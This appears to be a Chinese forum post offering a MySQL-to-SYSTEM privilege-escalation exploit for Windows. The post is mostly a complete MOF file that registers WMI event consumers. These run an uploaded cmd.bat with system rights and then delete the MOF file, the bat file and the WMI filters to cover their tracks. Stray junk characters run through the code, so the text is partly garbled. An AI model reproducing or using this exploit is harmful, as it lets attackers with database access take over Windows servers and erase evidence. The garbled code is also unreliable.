Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

* O* G5 n6 L8 a$ S4 L这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

2 q# `' \9 U# F8 B9 u; H7 r#pragma
                        namespace("\\\\.\\root\\cimv2")
1 T- i3 |" v) d; y2 ~. N                        class
' `9 ]2 \( M" ]1 r7 [                        MyClass547
                        {           [key]
                        string
                        Name;
1 u! ^7 n' o0 o( ~1 G, o4 a6 J1 F1 a                        };
& N; k' F( d( ?" ]; y/ g) O  M                        class
  f$ Q  z9 Q9 H                        ActiveScriptEventConsumer
2 s) ~4 H1 r* [# N8 ?                        : __EventConsumer {          [key]
                        string
                        Name;           [not_null]
                        string
                        ScriptingEngine;           string
                        ScriptFileName;           [template]
                        string
                        ScriptText;         uint32 KillTimeout;
6 @/ p5 \5 V% I7 |# L                        }; instance of __Win32Provider as $P {
# Q& u: w" m1 D$ W# h, G                        Name
: X! J3 \  d- ^3 [! E                        =
                        "ActiveScriptEventConsumer";     CLSID =
# s  k- k  E3 Q# `" v5 f8 s                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
( d% o. ]  g: n  k                        PerUserInitialization
; r0 o( X! ^! F8 l4 t                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
4 \3 U( h& t" `$ o2 Z                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
                        Instance of ActiveScriptEventConsumer
4 V. y; S6 f5 W; Q6 ]0 W) N                        as $cons {         Name
  p# i1 K9 k: {- y  h% d                        =
                        "ASEC";         ScriptingEngine
6 j3 X1 Z$ c1 t5 Q                        =
- q  W8 N8 r- Y* n4 L+ }                        "JScript";         ScriptText
# i$ [! v5 T" j6 g                        =
. a- O6 r5 y  ~- Y' D" M, V* n                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
& X5 L- V5 L) E2 g7 a                        as $cons2 {         Name
8 i* c9 K, J) t                        =
" e6 _" q7 F6 [: c6 C                        "qndASEC";         ScriptingEngine
6 e! X# g: ~* q; u                        =
                        "JScript";         ScriptText
& s& \' r/ T! d9 N                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
8 N+ W, M2 H. U& e5 D  ?4 ]; _$ A                        }; instance of __EventFilter as $Filt {         Name
5 z6 T! A3 D# s' k2 K/ R5 i* d                        =
                        "instfilt";         Query
1 p' x: N6 b: z; z& f" P                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
* ?5 E7 P9 D. n/ {, h0 s0 V3 _                        =
& @9 w+ X3 P* {$ L6 I  _. y                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
4 U0 K. z  q' U+ ?                        =
                        "qndfilt";         Query
5 q7 N( s( T6 V& e' h                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
, R  }' h. \! q! v/ g. r6 J                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
% g# x( P/ m- X) G                        = $Filt;
" a$ [* C3 u. l! x                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
2 V9 W& E  y4 a7 E3 h) ^4 j: c                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
( R5 N0 a& I9 w& F                        as $MyClass {         Name
7 i) [9 }( |' ?% _- s) m                        =
                        "ClassConsumer";
                        };